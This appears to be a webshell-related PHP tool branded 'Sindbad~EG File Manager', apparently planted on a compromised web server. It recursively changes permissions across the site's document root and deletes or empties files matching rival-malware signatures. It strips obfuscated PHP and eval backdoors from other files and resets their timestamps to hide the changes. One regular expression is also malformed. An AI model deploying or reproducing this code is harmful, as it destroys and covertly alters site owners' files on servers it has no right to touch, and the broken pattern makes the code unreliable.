Sindbad~EG File Manager
<?php
session_start();$_SESSION['secretyt'] = true;
function listFolders($dir){
@chmod($dir, 0755);
$ffs = scandir($dir);
foreach($ffs as $ff){
if($ff == "." || $ff == "..") continue;
$d = $dir."/".$ff;
if(is_dir($d)) {
listFolders($d);
}else{
handle($dir,$d);
};
}
}
function handle($dir,$f){
@chmod($f, 0644);
if(!is_writable($f))@chmod($dir, 0755);;
$d = file_get_contents($f);
if(preg_match("@listFolders@i",$d)){
return;
}
if(preg_match("@<\?php.+?\">ok<\".+?\?>|b66bb6bbb|<\?php.+?goto.+?CHnzG: \}@i", $d)){
@chmod($f, 0644);
if(!@unlink($f)){
$zip = new ZipArchive;
$zip->open($f, ZipArchive::OVERWRITE);
$zip->close();
};
if(file_exists($f)){
file_put_contents($f,"");
}
}
if(!preg_match("@<\?php.+?goto.+?\?>@i", $d)){
return;
}
$d = preg_replace("@<\?php.+?goto.+?\?>@i","", $d);
if(preg_match('#@eval\(\$_SERVER\[\'HTTP_\w+\']\);#i', $d)){
$d = preg_replace('#@eval\(\$_SERVER\[\'HTTP_\w+\']\);#i',"", $d);
}
if(preg_match('#eval\(', $d)){
echo $f."<br>";
}
$d = str_replace('@eval($_SERVER', '//@eval($_SERVER', $d);
$t = filemtime($f);
@file_put_contents($f, trim($d));
@tOuch($f, $t, $t);
}
listFolders($_SERVER["DOCUMENT_ROOT"]);
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists